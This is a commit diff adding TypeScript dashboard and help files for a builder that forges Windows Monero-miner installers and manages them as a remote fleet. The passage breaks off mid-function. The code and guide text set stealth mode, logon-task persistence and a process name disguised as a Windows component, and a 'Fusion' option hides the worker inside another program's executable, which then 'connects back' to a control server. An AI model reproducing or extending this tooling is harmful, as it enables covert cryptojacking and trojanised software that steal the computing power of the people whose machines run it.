Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
49
server/web/src/help/buildManager.ts
Normal file
49
server/web/src/help/buildManager.ts
Normal file
@@ -0,0 +1,49 @@
|
||||
/** Shallow diff between two plain objects for blueprint comparison. */
|
||||
export function blueprintDiff(
|
||||
base: Record<string, unknown>,
|
||||
current: Record<string, unknown>
|
||||
): { key: string; kind: 'added' | 'removed' | 'changed'; from?: unknown; to?: unknown }[] {
|
||||
const keys = new Set([...Object.keys(base), ...Object.keys(current)]);
|
||||
const out: { key: string; kind: 'added' | 'removed' | 'changed'; from?: unknown; to?: unknown }[] = [];
|
||||
for (const key of keys) {
|
||||
const a = base[key];
|
||||
const b = current[key];
|
||||
const hasA = key in base;
|
||||
const hasB = key in current;
|
||||
if (!hasA && hasB) {
|
||||
out.push({ key, kind: 'added', to: b });
|
||||
} else if (hasA && !hasB) {
|
||||
out.push({ key, kind: 'removed', from: a });
|
||||
} else if (JSON.stringify(a) !== JSON.stringify(b)) {
|
||||
out.push({ key, kind: 'changed', from: a, to: b });
|
||||
}
|
||||
}
|
||||
return out.sort((x, y) => x.key.localeCompare(y.key));
|
||||
}
|
||||
|
||||
/** Build partial forge request from a stored build record. */
|
||||
export function buildRequestFromRecord(
|
||||
record: {
|
||||
worker_name: string;
|
||||
server_url: string;
|
||||
wallet: string;
|
||||
threads: number;
|
||||
pool_host: string;
|
||||
pool_port: number;
|
||||
pool_tls: boolean;
|
||||
pool_pass: string;
|
||||
},
|
||||
defaults: Record<string, unknown>
|
||||
): Record<string, unknown> {
|
||||
return {
|
||||
...defaults,
|
||||
worker_name: record.worker_name,
|
||||
server_url: record.server_url,
|
||||
wallet: record.wallet,
|
||||
threads: record.threads,
|
||||
pool_host: record.pool_host,
|
||||
pool_port: record.pool_port,
|
||||
pool_tls: record.pool_tls,
|
||||
pool_pass: record.pool_pass,
|
||||
};
|
||||
}
|
||||
193
server/web/src/help/cheatSheetContent.ts
Normal file
193
server/web/src/help/cheatSheetContent.ts
Normal file
@@ -0,0 +1,193 @@
|
||||
/** Structured content for the visual Guide / Cheat Sheet page. */
|
||||
|
||||
export interface CheatStep {
|
||||
id: string;
|
||||
title: string;
|
||||
subtitle: string;
|
||||
icon: string;
|
||||
body: string;
|
||||
route?: string;
|
||||
routeLabel?: string;
|
||||
tips?: string[];
|
||||
}
|
||||
|
||||
export interface CheatSection {
|
||||
id: string;
|
||||
title: string;
|
||||
description: string;
|
||||
steps?: CheatStep[];
|
||||
cards?: { title: string; body: string; accent?: string }[];
|
||||
}
|
||||
|
||||
export const PIPELINE_STEPS: CheatStep[] = [
|
||||
{
|
||||
id: 'calibrate',
|
||||
title: 'Calibrate',
|
||||
subtitle: 'Server hub',
|
||||
icon: '⚙',
|
||||
body: 'Set listen port, data folder, fleet alerts, pool/wallet defaults for new Forge forms, and server limits. Does not change already-forged miners.',
|
||||
route: '/settings',
|
||||
routeLabel: 'Open Calibrate',
|
||||
tips: ['One-time server setup', 'Public LAN URL helps Forge quick-pick chips'],
|
||||
},
|
||||
{
|
||||
id: 'forge',
|
||||
title: 'Forge',
|
||||
subtitle: 'Per-miner config',
|
||||
icon: '⚒',
|
||||
body: 'Calibrate every worker here — wallet, pool, threads, install path, stealth, Fusion, AI. All baked into the .exe + uninstall script.',
|
||||
route: '/forge',
|
||||
routeLabel: 'Open Forge',
|
||||
tips: ['Green badge = baked into installer', 'Preflight must pass before forge'],
|
||||
},
|
||||
{
|
||||
id: 'deploy',
|
||||
title: 'Deploy',
|
||||
subtitle: 'Copy & run once',
|
||||
icon: '📦',
|
||||
body: 'Copy install-*.exe (or fused prep.exe) to each Windows machine. Double-click once — it embeds, persists, and connects back.',
|
||||
tips: ['Keep uninstall-*.ps1 next to the exe', 'Use LAN IP in server URL, not localhost'],
|
||||
},
|
||||
{
|
||||
id: 'connect',
|
||||
title: 'Connect',
|
||||
subtitle: 'WebSocket auth',
|
||||
icon: '📡',
|
||||
body: 'Worker reaches your control server, sends forged wallet/pool/AI config, appears on Command Deck and Fleet Roster.',
|
||||
route: '/agents',
|
||||
routeLabel: 'Fleet Roster',
|
||||
tips: ['Signal Locked = dashboard live', 'Worker name from Forge shows in roster'],
|
||||
},
|
||||
{
|
||||
id: 'mine',
|
||||
title: 'Mine',
|
||||
subtitle: 'RandomX + pool',
|
||||
icon: '⛏',
|
||||
body: 'Server opens Stratum to your forged pool. Jobs broadcast to agents. Shares validated against pool before accept rate updates.',
|
||||
route: '/dashboard',
|
||||
routeLabel: 'Command Deck',
|
||||
tips: ['Hashrate wave chart = fleet total', 'Share log updates live'],
|
||||
},
|
||||
];
|
||||
|
||||
export const FORGE_VS_CALIBRATE = {
|
||||
forge: {
|
||||
title: 'Forge — per miner',
|
||||
items: [
|
||||
'Worker name & server URL',
|
||||
'Wallet & pool (host, port, TLS)',
|
||||
'Threads, CPU/RAM limits, schedule',
|
||||
'Install path, stealth, persistence',
|
||||
'Fusion prep bundling',
|
||||
'AI Autonomy toggle + Ollama model',
|
||||
],
|
||||
},
|
||||
calibrate: {
|
||||
title: 'Calibrate — control server',
|
||||
items: [
|
||||
'Listen port & data directory',
|
||||
'Dashboard subtitle',
|
||||
'Fleet alert thresholds + notifications',
|
||||
'Default pool/wallet for new Forge forms',
|
||||
'Stats & build retention, max agents/build size',
|
||||
'WebSocket ping, pool reconnect, logging toggles',
|
||||
],
|
||||
},
|
||||
};
|
||||
|
||||
export const FUSION_GUIDE: CheatStep[] = [
|
||||
{
|
||||
id: 'f1',
|
||||
title: 'Build worker config',
|
||||
subtitle: 'Forge tab',
|
||||
icon: '1',
|
||||
body: 'Set all miner options first — Fusion wraps the same smart agent inside your prep app.',
|
||||
},
|
||||
{
|
||||
id: 'f2',
|
||||
title: 'Enable Fusion',
|
||||
subtitle: 'Upload prep.exe',
|
||||
icon: '2',
|
||||
body: 'Toggle Fusion, upload your prep.exe, pick run order (parallel / prep first / worker first).',
|
||||
},
|
||||
{
|
||||
id: 'f3',
|
||||
title: 'Forge fused output',
|
||||
subtitle: 'One file',
|
||||
icon: '3',
|
||||
body: 'Output is prep.exe (or custom name) containing your app + hidden worker. Uninstall script generated alongside.',
|
||||
},
|
||||
];
|
||||
|
||||
export const AI_GUIDE: CheatStep[] = [
|
||||
{
|
||||
id: 'a1',
|
||||
title: 'Install Ollama',
|
||||
subtitle: 'Control PC',
|
||||
icon: '🤖',
|
||||
body: 'Ollama runs on the machine hosting miner-server — not on workers. Default: http://localhost:11434',
|
||||
},
|
||||
{
|
||||
id: 'a2',
|
||||
title: 'Enable on Forge',
|
||||
subtitle: 'AI Autonomy',
|
||||
icon: '⚡',
|
||||
body: 'Toggle AI Autonomy, set model (e.g. llama3.2). Re-forge to change after deploy.',
|
||||
},
|
||||
{
|
||||
id: 'a3',
|
||||
title: 'Agent loop',
|
||||
subtitle: 'Every ~60s',
|
||||
icon: '🔄',
|
||||
body: 'Forged worker asks server /decide → Ollama → tool calls (self-heal, persistence check). Best with Self-healing on.',
|
||||
},
|
||||
];
|
||||
|
||||
export const TROUBLESHOOTING = [
|
||||
{ problem: 'Agent never appears', fix: 'Server URL must be LAN IP (192.168.x.x), not localhost. Check Windows firewall on port 8989.' },
|
||||
{ problem: '0 hashrate', fix: 'Pool must be reachable from control server. Check pool host/TLS/port in Forge match your pool docs.' },
|
||||
{ problem: 'Forge blocked', fix: 'Read preflight ✕ errors. Common: missing wallet, localhost URL, Fusion without prep.exe, AI without Ollama URL.' },
|
||||
{ problem: 'Shares all rejected', fix: 'Wallet address invalid or pool down. Accept rate waits for real pool validation now.' },
|
||||
{ problem: 'Can\'t remove miner', fix: 'Run uninstall-*.ps1 from the same forge output folder as the installer — as the same Windows user.' },
|
||||
{ problem: 'AI not doing anything', fix: 'Re-forge with AI on. Ollama must run on control PC. Check server logs for /agent/decide.' },
|
||||
];
|
||||
|
||||
/** Shipped vs planned — shown on Guide page. */
|
||||
export const ROADMAP_FEATURES = [
|
||||
{ priority: 'high', title: 'Fleet alerts (live)', desc: 'Calibrate thresholds → dashboard banners + optional Telegram/email.' },
|
||||
{ priority: 'high', title: 'Pool status panel', desc: 'Per-forged-pool Stratum health on Command Deck.' },
|
||||
{ priority: 'high', title: 'AI activity monitor', desc: 'Ollama decide cycles and tool calls per agent.' },
|
||||
{ priority: 'medium', title: 'Remote agent actions', desc: 'Pause, restart, stop, uninstall, log tail from dashboard.' },
|
||||
{ priority: 'medium', title: 'Earnings estimator', desc: 'Fleet hashrate → estimated XMR/day.' },
|
||||
{ priority: 'medium', title: 'Build manager', desc: 'Blueprint diff, re-forge, LAN QR downloads on Forge.' },
|
||||
{ priority: 'low', title: 'Dashboard auth', desc: 'Password or API token for LAN-wide command deck access.' },
|
||||
{ priority: 'low', title: 'LAN topology map', desc: 'Visual agent map by IP/subnet with fleet tags.' },
|
||||
{ priority: 'low', title: 'PWA / mobile deck', desc: 'Phone-friendly Command Deck layout.' },
|
||||
];
|
||||
|
||||
export const CHEAT_SECTIONS: CheatSection[] = [
|
||||
{
|
||||
id: 'pipeline',
|
||||
title: 'End-to-end pipeline',
|
||||
description: 'How data flows from your control PC to the pool.',
|
||||
steps: PIPELINE_STEPS,
|
||||
},
|
||||
{
|
||||
id: 'fusion',
|
||||
title: 'Fusion workflow',
|
||||
description: 'Bundle your prep app with the smart miner agent.',
|
||||
steps: FUSION_GUIDE,
|
||||
},
|
||||
{
|
||||
id: 'ai',
|
||||
title: 'AI Autonomy workflow',
|
||||
description: 'Self-healing via Ollama on the control server.',
|
||||
steps: AI_GUIDE,
|
||||
},
|
||||
{
|
||||
id: 'troubleshoot',
|
||||
title: 'Troubleshooting',
|
||||
description: 'Common fixes when something looks wrong.',
|
||||
cards: TROUBLESHOOTING.map((t) => ({ title: t.problem, body: t.fix, accent: 'amber' })),
|
||||
},
|
||||
];
|
||||
28
server/web/src/help/endpointHelpers.ts
Normal file
28
server/web/src/help/endpointHelpers.ts
Normal file
@@ -0,0 +1,28 @@
|
||||
import type { ServerInfo } from '../types';
|
||||
|
||||
export function formatLanEndpoint(host: string, port: number): string {
|
||||
const h = host.trim().replace(/^https?:\/\//i, '').split('/')[0].split(':')[0];
|
||||
return `http://${h}:${port}`;
|
||||
}
|
||||
|
||||
/** Distinct LAN URLs workers can use to reach this control server. */
|
||||
export function lanEndpointCandidates(info: ServerInfo, portOverride?: number): string[] {
|
||||
const port = portOverride ?? info.port ?? 8989;
|
||||
const seen = new Set<string>();
|
||||
const out: string[] = [];
|
||||
|
||||
const push = (raw: string) => {
|
||||
const u = raw.trim();
|
||||
if (!u || seen.has(u)) return;
|
||||
seen.add(u);
|
||||
out.push(u);
|
||||
};
|
||||
|
||||
if (info.suggested_url?.trim()) {
|
||||
push(info.suggested_url.trim());
|
||||
}
|
||||
for (const ip of info.local_ips ?? []) {
|
||||
push(formatLanEndpoint(ip, port));
|
||||
}
|
||||
return out;
|
||||
}
|
||||
177
server/web/src/help/forgeCompatibility.ts
Normal file
177
server/web/src/help/forgeCompatibility.ts
Normal file
@@ -0,0 +1,177 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import type { PreflightCheck } from './forgeValidation';
|
||||
|
||||
function looksLikeXMRWallet(addr: string): boolean {
|
||||
const a = addr.trim();
|
||||
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a);
|
||||
}
|
||||
|
||||
/** Extra incompatibility checks beyond basic validation. */
|
||||
export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
||||
const checks: PreflightCheck[] = [];
|
||||
|
||||
if (form.stealth_mode && form.display_mode === 'visible') {
|
||||
checks.push({
|
||||
id: 'stealth_display',
|
||||
level: 'error',
|
||||
message: 'Stealth mode cannot use Visible display — switch display to Silent/Background or turn off Stealth.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.stealth_mode && form.file_logging) {
|
||||
checks.push({
|
||||
id: 'stealth_logs',
|
||||
level: 'error',
|
||||
message: 'Stealth mode disables log files — turn off "Write miner.log" or disable Stealth.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.fusion_enabled && form.display_mode === 'visible') {
|
||||
checks.push({
|
||||
id: 'fusion_display',
|
||||
level: 'error',
|
||||
message: 'Fusion builds require silent/background display — Visible mode is not allowed with Fusion.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.mining_mode === 'idle') {
|
||||
if (form.idle_threshold_pct < 1 || form.idle_threshold_pct > 100) {
|
||||
checks.push({
|
||||
id: 'idle_threshold',
|
||||
level: 'error',
|
||||
message: 'Idle CPU threshold must be between 1 and 100 when using Idle mining mode.',
|
||||
});
|
||||
}
|
||||
if (form.idle_duration_minutes < 1) {
|
||||
checks.push({
|
||||
id: 'idle_duration',
|
||||
level: 'error',
|
||||
message: 'Idle duration must be at least 1 minute when using Idle mining mode.',
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
if (form.mining_mode === 'scheduled') {
|
||||
if (!form.schedule_start || !form.schedule_end) {
|
||||
checks.push({
|
||||
id: 'schedule',
|
||||
level: 'error',
|
||||
message: 'Scheduled mode requires both Start Time and End Time.',
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
if (form.thread_mode === 'fixed' && form.adapt_to_hardware) {
|
||||
checks.push({
|
||||
id: 'adapt_fixed',
|
||||
level: 'warn',
|
||||
message: 'Adapt to hardware is ignored when Thread Mode is Fixed — consider turning it off.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.thread_mode === 'percent' && (form.thread_percent < 1 || form.thread_percent > 100)) {
|
||||
checks.push({
|
||||
id: 'thread_percent_range',
|
||||
level: 'error',
|
||||
message: 'Thread Percent must be between 1 and 100.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.max_cpu_usage_pct < 1 || form.max_cpu_usage_pct > 100) {
|
||||
checks.push({
|
||||
id: 'max_cpu',
|
||||
level: 'error',
|
||||
message: 'Max CPU Usage must be between 1 and 100.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.max_memory_percent < 10 || form.max_memory_percent > 95) {
|
||||
checks.push({
|
||||
id: 'max_mem',
|
||||
level: 'error',
|
||||
message: 'Max Memory must be between 10 and 95.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.pool_port < 1 || form.pool_port > 65535) {
|
||||
checks.push({
|
||||
id: 'pool_port',
|
||||
level: 'error',
|
||||
message: 'Pool port must be between 1 and 65535.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.pool_port === 443 && !form.pool_tls) {
|
||||
checks.push({
|
||||
id: 'pool_tls_443',
|
||||
level: 'warn',
|
||||
message: 'Port 443 typically requires TLS — enable Use TLS/SSL unless your pool says otherwise.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.pool_tls && form.pool_port === 3333) {
|
||||
checks.push({
|
||||
id: 'pool_tls_3333',
|
||||
level: 'warn',
|
||||
message: 'TLS on port 3333 is unusual — confirm with your pool (many use 443 for SSL).',
|
||||
});
|
||||
}
|
||||
|
||||
if (!form.pool_pass.trim()) {
|
||||
checks.push({
|
||||
id: 'pool_pass',
|
||||
level: 'warn',
|
||||
message: 'Pool password empty — will default to "x" (standard for Monero).',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.run_as === 'service') {
|
||||
checks.push({
|
||||
id: 'run_as_service',
|
||||
level: 'warn',
|
||||
message: '"Windows Service" uses a scheduled task under the hood — not a true SCM service.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.ai_enabled && form.ai_ollama_endpoint.includes('127.0.0.1')) {
|
||||
checks.push({
|
||||
id: 'ai_localhost',
|
||||
level: 'warn',
|
||||
message: 'Ollama URL uses 127.0.0.1 — that means the control server PC, not the worker machine.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.ai_enabled && !form.self_healing) {
|
||||
checks.push({
|
||||
id: 'ai_no_heal',
|
||||
level: 'warn',
|
||||
message: 'AI Autonomy works best with Self-healing enabled — consider turning it on.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.process_name.trim() && !/^[a-zA-Z0-9._-]+$/.test(form.process_name.trim())) {
|
||||
checks.push({
|
||||
id: 'process_name',
|
||||
level: 'warn',
|
||||
message: 'Process name has unusual characters — use letters, numbers, dash, underscore only.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.wallet.trim() && looksLikeXMRWallet(form.wallet) && form.pool_host.trim()) {
|
||||
checks.push({
|
||||
id: 'forge_ready',
|
||||
level: 'ok',
|
||||
message: 'Core miner config looks coherent — wallet, pool, and identity are set.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.fusion_enabled && fusionPrepSelected) {
|
||||
checks.push({
|
||||
id: 'fusion_ready',
|
||||
level: 'ok',
|
||||
message: 'Fusion prep.exe attached — ready to bundle.',
|
||||
});
|
||||
}
|
||||
|
||||
return checks;
|
||||
}
|
||||
54
server/web/src/help/forgeDefaults.ts
Normal file
54
server/web/src/help/forgeDefaults.ts
Normal file
@@ -0,0 +1,54 @@
|
||||
import type { BuildRequest, ServerConfig, ServerInfo } from '../types';
|
||||
|
||||
/** Defaults for a new forge build — not stored in Calibrate. */
|
||||
export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
BuildRequest,
|
||||
'worker_name' | 'server_url' | 'wallet' | 'pool_host' | 'pool_port' | 'pool_tls' | 'pool_pass'
|
||||
> = {
|
||||
output_dir: 'exports',
|
||||
threads: 4,
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 75,
|
||||
cpu_priority: 'below_normal',
|
||||
mining_mode: 'always',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'user',
|
||||
auto_start: true,
|
||||
persistence: true,
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
max_cpu_usage_pct: 80,
|
||||
max_memory_percent: 70,
|
||||
min_free_ram_mb: 1024,
|
||||
idle_threshold_pct: 20,
|
||||
idle_duration_minutes: 5,
|
||||
schedule_start: '21:00',
|
||||
schedule_end: '06:00',
|
||||
install_base: 'localappdata',
|
||||
install_custom_base: '',
|
||||
install_relative_path: 'CryptoMiner/{worker}-{build_short}',
|
||||
adapt_to_hardware: true,
|
||||
self_healing: true,
|
||||
file_logging: false,
|
||||
stealth_mode: true,
|
||||
fusion_enabled: false,
|
||||
fusion_run_order: 'parallel',
|
||||
fusion_output_name: 'prep.exe',
|
||||
ai_enabled: false,
|
||||
ai_ollama_endpoint: 'http://localhost:11434',
|
||||
ai_model: 'llama3.2',
|
||||
};
|
||||
|
||||
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||
const publicUrl = config.server?.public_url?.trim();
|
||||
return {
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
worker_name: '',
|
||||
server_url: publicUrl || serverInfo.suggested_url,
|
||||
wallet: config.wallet.address,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
pool_pass: config.pool.password || 'x',
|
||||
};
|
||||
}
|
||||
326
server/web/src/help/forgeRules.ts
Normal file
326
server/web/src/help/forgeRules.ts
Normal file
@@ -0,0 +1,326 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
|
||||
|
||||
export interface ForgeFieldMeta {
|
||||
disabled: boolean;
|
||||
lockedReason?: string;
|
||||
badge?: ForgeFieldBadge;
|
||||
hint?: string;
|
||||
}
|
||||
|
||||
export interface ForgeSectionMeta {
|
||||
id: string;
|
||||
title: string;
|
||||
description: string;
|
||||
badge: ForgeFieldBadge;
|
||||
}
|
||||
|
||||
/** What each Forge section controls — shown in the UI header. */
|
||||
export const FORGE_SECTIONS: ForgeSectionMeta[] = [
|
||||
{
|
||||
id: 'identity',
|
||||
title: 'Identity',
|
||||
description: 'Worker label, control server URL, payout wallet — all baked into the installer.',
|
||||
badge: 'baked',
|
||||
},
|
||||
{
|
||||
id: 'pool',
|
||||
title: 'Pool Configuration',
|
||||
description: 'Where this miner submits work. Baked per installer; each forged worker can use its own pool.',
|
||||
badge: 'baked',
|
||||
},
|
||||
{
|
||||
id: 'performance',
|
||||
title: 'Performance & Resources',
|
||||
description: 'Threads, CPU/RAM limits, and when mining runs. Baked into the worker binary.',
|
||||
badge: 'baked',
|
||||
},
|
||||
{
|
||||
id: 'install',
|
||||
title: 'Install & Process',
|
||||
description: 'Install path, persistence, stealth, and Task Manager name. Baked on first run.',
|
||||
badge: 'baked',
|
||||
},
|
||||
{
|
||||
id: 'fusion',
|
||||
title: 'Fusion',
|
||||
description: 'Optional prep.exe bundling. Baked into the fused output file.',
|
||||
badge: 'baked',
|
||||
},
|
||||
{
|
||||
id: 'ai',
|
||||
title: 'AI Autonomy',
|
||||
description: 'Ollama decisions via the control server. Baked toggle; Ollama must run on the server PC.',
|
||||
badge: 'baked',
|
||||
},
|
||||
];
|
||||
|
||||
const BADGE_LABELS: Record<ForgeFieldBadge, string> = {
|
||||
baked: 'Baked into installer',
|
||||
'server-only': 'Server folder only — not in .exe',
|
||||
requires: 'Required when parent option is on',
|
||||
};
|
||||
|
||||
export function forgeBadgeLabel(badge: ForgeFieldBadge): string {
|
||||
return BADGE_LABELS[badge];
|
||||
}
|
||||
|
||||
/** Smart field update — auto-fixes coupled settings so incompatible mixes are hard to create. */
|
||||
export function applyForgeFieldUpdate(
|
||||
form: BuildRequest,
|
||||
field: keyof BuildRequest,
|
||||
value: unknown
|
||||
): BuildRequest {
|
||||
const next: BuildRequest = { ...form, [field]: value } as BuildRequest;
|
||||
|
||||
switch (field) {
|
||||
case 'stealth_mode':
|
||||
if (value === true) {
|
||||
next.file_logging = false;
|
||||
if (next.display_mode === 'visible') {
|
||||
next.display_mode = 'background';
|
||||
}
|
||||
next.silent_mode = true;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'display_mode':
|
||||
if (value === 'visible') {
|
||||
next.stealth_mode = false;
|
||||
next.silent_mode = false;
|
||||
} else if (value === 'silent' || value === 'background') {
|
||||
next.silent_mode = true;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'persistence':
|
||||
next.auto_start = value === true;
|
||||
break;
|
||||
|
||||
case 'auto_start':
|
||||
next.persistence = value === true;
|
||||
break;
|
||||
|
||||
case 'fusion_enabled':
|
||||
if (value === true) {
|
||||
next.display_mode = 'background';
|
||||
next.silent_mode = true;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'thread_mode':
|
||||
if (value === 'fixed' && next.threads < 1) {
|
||||
next.threads = 4;
|
||||
}
|
||||
if (value === 'percent' && (next.thread_percent < 1 || next.thread_percent > 100)) {
|
||||
next.thread_percent = 75;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'mining_mode':
|
||||
if (value === 'always') {
|
||||
// keep idle/schedule values for if user switches back
|
||||
}
|
||||
break;
|
||||
|
||||
case 'install_base':
|
||||
if (value !== 'custom') {
|
||||
next.install_custom_base = '';
|
||||
}
|
||||
break;
|
||||
|
||||
case 'run_as':
|
||||
if (value === 'scheduled' || value === 'service') {
|
||||
// Scheduled/service always creates a task — sync persistence flags so UI matches reality
|
||||
next.persistence = true;
|
||||
next.auto_start = true;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'ai_enabled':
|
||||
if (value === true) {
|
||||
if (!next.ai_ollama_endpoint?.trim()) {
|
||||
next.ai_ollama_endpoint = 'http://localhost:11434';
|
||||
}
|
||||
if (!next.ai_model?.trim()) {
|
||||
next.ai_model = 'llama3.2';
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'pool_port':
|
||||
if (typeof value === 'number') {
|
||||
if (value === 443 && !next.pool_tls) {
|
||||
next.pool_tls = true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'pool_tls':
|
||||
if (value === true && next.pool_port === 3333) {
|
||||
// common pools use 443 for TLS — warn in preflight, don't auto-change port
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
return next;
|
||||
}
|
||||
|
||||
/** Per-field UI state: disabled fields + why. */
|
||||
export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeFieldMeta> {
|
||||
const isFixedThreads = form.thread_mode === 'fixed';
|
||||
const isIdle = form.mining_mode === 'idle';
|
||||
const isScheduled = form.mining_mode === 'scheduled';
|
||||
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
|
||||
|
||||
return {
|
||||
worker_name: { disabled: false, badge: 'baked' },
|
||||
server_url: { disabled: false, badge: 'baked' },
|
||||
wallet: { disabled: false, badge: 'baked' },
|
||||
output_dir: {
|
||||
disabled: false,
|
||||
badge: 'server-only',
|
||||
hint: 'Only copies the built files on this PC — not embedded in the worker.',
|
||||
},
|
||||
pool_host: { disabled: false, badge: 'baked' },
|
||||
pool_port: { disabled: false, badge: 'baked' },
|
||||
pool_tls: { disabled: false, badge: 'baked' },
|
||||
pool_pass: { disabled: false, badge: 'baked' },
|
||||
thread_mode: { disabled: false, badge: 'baked' },
|
||||
thread_percent: {
|
||||
disabled: isFixedThreads,
|
||||
badge: 'baked',
|
||||
lockedReason: isFixedThreads ? 'Disabled while Thread Mode is Fixed — use Fixed Threads instead.' : undefined,
|
||||
},
|
||||
threads: {
|
||||
disabled: !isFixedThreads,
|
||||
badge: 'baked',
|
||||
lockedReason: !isFixedThreads ? 'Disabled while Thread Mode is Auto (%) — use Thread Percent instead.' : undefined,
|
||||
},
|
||||
cpu_priority: { disabled: false, badge: 'baked' },
|
||||
max_cpu_usage_pct: { disabled: false, badge: 'baked' },
|
||||
max_memory_percent: { disabled: false, badge: 'baked' },
|
||||
min_free_ram_mb: { disabled: false, badge: 'baked' },
|
||||
mining_mode: { disabled: false, badge: 'baked' },
|
||||
idle_threshold_pct: {
|
||||
disabled: !isIdle,
|
||||
badge: 'requires',
|
||||
lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
|
||||
},
|
||||
idle_duration_minutes: {
|
||||
disabled: !isIdle,
|
||||
badge: 'requires',
|
||||
lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
|
||||
},
|
||||
schedule_start: {
|
||||
disabled: !isScheduled,
|
||||
badge: 'requires',
|
||||
lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
|
||||
},
|
||||
schedule_end: {
|
||||
disabled: !isScheduled,
|
||||
badge: 'requires',
|
||||
lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
|
||||
},
|
||||
install_base: { disabled: false, badge: 'baked' },
|
||||
install_custom_base: {
|
||||
disabled: form.install_base !== 'custom',
|
||||
badge: 'requires',
|
||||
lockedReason: form.install_base !== 'custom' ? 'Select Install Base → Custom Path first.' : undefined,
|
||||
},
|
||||
install_relative_path: { disabled: false, badge: 'baked' },
|
||||
adapt_to_hardware: {
|
||||
disabled: isFixedThreads,
|
||||
badge: 'baked',
|
||||
lockedReason: isFixedThreads
|
||||
? 'Adapt to hardware is ignored when using Fixed thread count — switch to Auto (%) or turn off fixed mode.'
|
||||
: undefined,
|
||||
},
|
||||
self_healing: { disabled: false, badge: 'baked' },
|
||||
stealth_mode: { disabled: false, badge: 'baked' },
|
||||
file_logging: {
|
||||
disabled: form.stealth_mode,
|
||||
badge: 'baked',
|
||||
lockedReason: form.stealth_mode ? 'Stealth mode disables log files — turn off Stealth to enable logging.' : undefined,
|
||||
},
|
||||
process_name: { disabled: false, badge: 'baked' },
|
||||
display_mode: { disabled: false, badge: 'baked' },
|
||||
persistence: {
|
||||
disabled: runAsForcedPersistence,
|
||||
badge: 'baked',
|
||||
lockedReason: runAsForcedPersistence
|
||||
? 'Run As Scheduled/Service always installs a logon task — persistence cannot be turned off for this mode.'
|
||||
: undefined,
|
||||
},
|
||||
auto_start: {
|
||||
disabled: runAsForcedPersistence,
|
||||
badge: 'baked',
|
||||
lockedReason: runAsForcedPersistence
|
||||
? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
|
||||
: undefined,
|
||||
},
|
||||
run_as: { disabled: false, badge: 'baked' },
|
||||
fusion_enabled: { disabled: false, badge: 'baked' },
|
||||
fusion_prep: {
|
||||
disabled: !form.fusion_enabled,
|
||||
badge: 'requires',
|
||||
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
|
||||
},
|
||||
fusion_run_order: {
|
||||
disabled: !form.fusion_enabled,
|
||||
badge: 'requires',
|
||||
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
|
||||
},
|
||||
fusion_output_name: {
|
||||
disabled: !form.fusion_enabled,
|
||||
badge: 'requires',
|
||||
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
|
||||
},
|
||||
ai_enabled: { disabled: false, badge: 'baked' },
|
||||
ai_ollama_endpoint: {
|
||||
disabled: !form.ai_enabled,
|
||||
badge: 'requires',
|
||||
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
||||
},
|
||||
ai_model: {
|
||||
disabled: !form.ai_enabled,
|
||||
badge: 'requires',
|
||||
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/** Live incompatibility notices shown above the form. */
|
||||
export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: boolean): string[] {
|
||||
const notices: string[] = [];
|
||||
|
||||
if (form.run_as === 'service') {
|
||||
notices.push(
|
||||
'Run As "Windows Service" creates a scheduled task — not a real Windows Service. Persistence stays on.'
|
||||
);
|
